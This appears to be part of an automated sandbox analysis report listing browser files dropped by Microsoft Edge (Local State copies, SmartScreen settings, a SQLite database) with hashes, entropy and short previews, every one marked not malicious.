SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101669007469524
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxCBS2qX7b3tPHgorQXdbiR3oM:z/0+zI7ynxkS20HtP0Xdbe3
MD5:	35F889F88F1666FE58F2BE51D338EBB1
SHA1:	3758CE3EBB9C4A13343CAB09F7F8D20E851896DB
SHA-256:	F59F3A0A834C95F1E6FC941EC2411621FDD16A1CF3C7D48161DBC359166E8E28
SHA-512:	4965DD9B57483EB922486AF77D48C578DE83DBEF12A8B633302659F80D8D756251BDBC27C7C40A2350CBF06DB09918C71004F475E25BA70649CD1CB9548767F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29178.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101669007469524
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxCBS2qX7b3tPHgorQXdbiR3oM:z/0+zI7ynxkS20HtP0Xdbe3
MD5:	35F889F88F1666FE58F2BE51D338EBB1
SHA1:	3758CE3EBB9C4A13343CAB09F7F8D20E851896DB
SHA-256:	F59F3A0A834C95F1E6FC941EC2411621FDD16A1CF3C7D48161DBC359166E8E28
SHA-512:	4965DD9B57483EB922486AF77D48C578DE83DBEF12A8B633302659F80D8D756251BDBC27C7C40A2350CBF06DB09918C71004F475E25BA70649CD1CB9548767F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29188.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101669007469524
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxCBS2qX7b3tPHgorQXdbiR3oM:z/0+zI7ynxkS20HtP0Xdbe3
MD5:	35F889F88F1666FE58F2BE51D338EBB1
SHA1:	3758CE3EBB9C4A13343CAB09F7F8D20E851896DB
SHA-256:	F59F3A0A834C95F1E6FC941EC2411621FDD16A1CF3C7D48161DBC359166E8E28
SHA-512:	4965DD9B57483EB922486AF77D48C578DE83DBEF12A8B633302659F80D8D756251BDBC27C7C40A2350CBF06DB09918C71004F475E25BA70649CD1CB9548767F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2935c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101669007469524
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxCBS2qX7b3tPHgorQXdbiR3oM:z/0+zI7ynxkS20HtP0Xdbe3
MD5:	35F889F88F1666FE58F2BE51D338EBB1
SHA1:	3758CE3EBB9C4A13343CAB09F7F8D20E851896DB
SHA-256:	F59F3A0A834C95F1E6FC941EC2411621FDD16A1CF3C7D48161DBC359166E8E28
SHA-512:	4965DD9B57483EB922486AF77D48C578DE83DBEF12A8B633302659F80D8D756251BDBC27C7C40A2350CBF06DB09918C71004F475E25BA70649CD1CB9548767F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2ba4d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101669007469524
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxCBS2qX7b3tPHgorQXdbiR3oM:z/0+zI7ynxkS20HtP0Xdbe3
MD5:	35F889F88F1666FE58F2BE51D338EBB1
SHA1:	3758CE3EBB9C4A13343CAB09F7F8D20E851896DB
SHA-256:	F59F3A0A834C95F1E6FC941EC2411621FDD16A1CF3C7D48161DBC359166E8E28
SHA-512:	4965DD9B57483EB922486AF77D48C578DE83DBEF12A8B633302659F80D8D756251BDBC27C7C40A2350CBF06DB09918C71004F475E25BA70649CD1CB9548767F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f5ef.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101669007469524
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxCBS2qX7b3tPHgorQXdbiR3oM:z/0+zI7ynxkS20HtP0Xdbe3
MD5:	35F889F88F1666FE58F2BE51D338EBB1
SHA1:	3758CE3EBB9C4A13343CAB09F7F8D20E851896DB
SHA-256:	F59F3A0A834C95F1E6FC941EC2411621FDD16A1CF3C7D48161DBC359166E8E28
SHA-512:	4965DD9B57483EB922486AF77D48C578DE83DBEF12A8B633302659F80D8D756251BDBC27C7C40A2350CBF06DB09918C71004F475E25BA70649CD1CB9548767F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a47e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101669007469524
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxCBS2qX7b3tPHgorQXdbiR3oM:z/0+zI7ynxkS20HtP0Xdbe3
MD5:	35F889F88F1666FE58F2BE51D338EBB1
SHA1:	3758CE3EBB9C4A13343CAB09F7F8D20E851896DB
SHA-256:	F59F3A0A834C95F1E6FC941EC2411621FDD16A1CF3C7D48161DBC359166E8E28
SHA-512:	4965DD9B57483EB922486AF77D48C578DE83DBEF12A8B633302659F80D8D756251BDBC27C7C40A2350CBF06DB09918C71004F475E25BA70649CD1CB9548767F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF40413.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101669007469524
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxCBS2qX7b3tPHgorQXdbiR3oM:z/0+zI7ynxkS20HtP0Xdbe3
MD5:	35F889F88F1666FE58F2BE51D338EBB1
SHA1:	3758CE3EBB9C4A13343CAB09F7F8D20E851896DB
SHA-256:	F59F3A0A834C95F1E6FC941EC2411621FDD16A1CF3C7D48161DBC359166E8E28
SHA-512:	4965DD9B57483EB922486AF77D48C578DE83DBEF12A8B633302659F80D8D756251BDBC27C7C40A2350CBF06DB09918C71004F475E25BA70649CD1CB9548767F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
